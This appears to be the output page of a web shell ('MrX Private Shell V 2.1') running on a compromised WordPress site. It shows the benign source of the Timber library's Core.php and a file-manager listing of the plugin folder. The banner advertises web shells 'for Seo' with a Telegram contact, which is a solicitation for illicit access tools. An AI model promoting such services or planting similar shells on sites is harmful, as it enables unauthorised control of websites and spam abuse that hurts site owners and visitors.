__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Timber;
abstract class Core {
public $id;
public $ID;
public $object_type;
/**
*
* @return boolean
*/
public function __isset( $field ) {
if ( isset($this->$field) ) {
return $this->$field;
}
return false;
}
/**
* This is helpful for twig to return properties and methods see: https://github.com/fabpot/Twig/issues/2
* @return mixed
*/
public function __call( $field, $args ) {
return $this->__get($field);
}
/**
* This is helpful for twig to return properties and methods see: https://github.com/fabpot/Twig/issues/2
*
* @return mixed
*/
public function __get( $field ) {
if ( property_exists($this, $field) ) {
return $this->$field;
}
if ( method_exists($this, 'meta') && $meta_value = $this->meta($field) ) {
return $this->$field = $meta_value;
}
if ( method_exists($this, $field) ) {
return $this->$field = $this->$field();
}
return $this->$field = false;
}
/**
* Takes an array or object and adds the properties to the parent object
* @example
* ```php
* $data = array('airplane' => '757-200', 'flight' => '5316');
* $post = new Timber\Post()
* $post->import(data);
* echo $post->airplane; //757-200
* ```
* @param array|object $info an object or array you want to grab data from to attach to the Timber object
*/
public function import( $info, $force = false ) {
if ( is_object($info) ) {
$info = get_object_vars($info);
}
if ( is_array($info) ) {
foreach ( $info as $key => $value ) {
if ( $key === '' || ord($key[0]) === 0 ) {
continue;
}
if ( !empty($key) && $force ) {
$this->$key = $value;
} else if ( !empty($key) && !method_exists($this, $key) ) {
$this->$key = $value;
}
}
}
}
/**
* @ignore
* @param string $key
* @param mixed $value
*/
public function update( $key, $value ) {
update_metadata($this->object_type, $this->ID, $key, $value);
}
/**
* Can you edit this post/term/user? Well good for you. You're no better than me.
* @example
* ```twig
* {% if post.can_edit %}
* <a href="{{ post.edit_link }}">Edit</a>
* {% endif %}
* ```
* ```html
* <a href="http://example.org/wp-admin/edit.php?p=242">Edit</a>
* ```
* @return bool
*/
public function can_edit() {
if ( !function_exists('current_user_can') ) {
return false;
}
if ( current_user_can('edit_post', $this->ID) ) {
return true;
}
return false;
}
/**
*
*
* @return array
*/
public function get_method_values() {
$ret = array();
$ret['can_edit'] = $this->can_edit();
return $ret;
}
/**
* @param string $field_name
* @return mixed
*/
public function get_field( $field_name ) {
return $this->get_meta_field($field_name);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Cache | Folder | 0775 |
|
|
| Image | Folder | 0775 |
|
|
| Integrations | Folder | 0775 |
|
|
| Admin.php | File | 5.65 KB | 0775 |
|
| Archives.php | File | 10.65 KB | 0775 |
|
| Comment.php | File | 10.45 KB | 0775 |
|
| CommentThread.php | File | 3.58 KB | 0775 |
|
| Core.php | File | 2.69 KB | 0775 |
|
| CoreInterface.php | File | 231 B | 0775 |
|
| FunctionWrapper.php | File | 2.83 KB | 0775 |
|
| Helper.php | File | 14.42 KB | 0775 |
|
| Image.php | File | 15.64 KB | 0775 |
|
| ImageHelper.php | File | 22.06 KB | 0775 |
|
| Integrations.php | File | 717 B | 0775 |
|
| Loader.php | File | 10.02 KB | 0775 |
|
| LocationManager.php | File | 3.57 KB | 0775 |
|
| Menu.php | File | 8.52 KB | 0775 |
|
| MenuItem.php | File | 11.94 KB | 0775 |
|
| Pagination.php | File | 6.93 KB | 0775 |
|
| PathHelper.php | File | 1.76 KB | 0775 |
|
| Post.php | File | 52.58 KB | 0775 |
|
| PostCollection.php | File | 2.98 KB | 0775 |
|
| PostGetter.php | File | 6.51 KB | 0775 |
|
| PostPreview.php | File | 7.98 KB | 0775 |
|
| PostQuery.php | File | 1.81 KB | 0775 |
|
| PostType.php | File | 602 B | 0775 |
|
| PostsIterator.php | File | 247 B | 0775 |
|
| QueryIterator.php | File | 5.37 KB | 0775 |
|
| Request.php | File | 649 B | 0775 |
|
| Site.php | File | 6.23 KB | 0775 |
|
| Term.php | File | 12.26 KB | 0775 |
|
| TermGetter.php | File | 5.38 KB | 0775 |
|
| TextHelper.php | File | 4.72 KB | 0775 |
|
| Theme.php | File | 4.06 KB | 0775 |
|
| Timber.php | File | 15.84 KB | 0775 |
|
| Twig.php | File | 12.98 KB | 0775 |
|
| Twig_Filter.php | File | 650 B | 0775 |
|
| Twig_Function.php | File | 696 B | 0775 |
|
| URLHelper.php | File | 10.54 KB | 0775 |
|
| User.php | File | 7.94 KB | 0775 |
|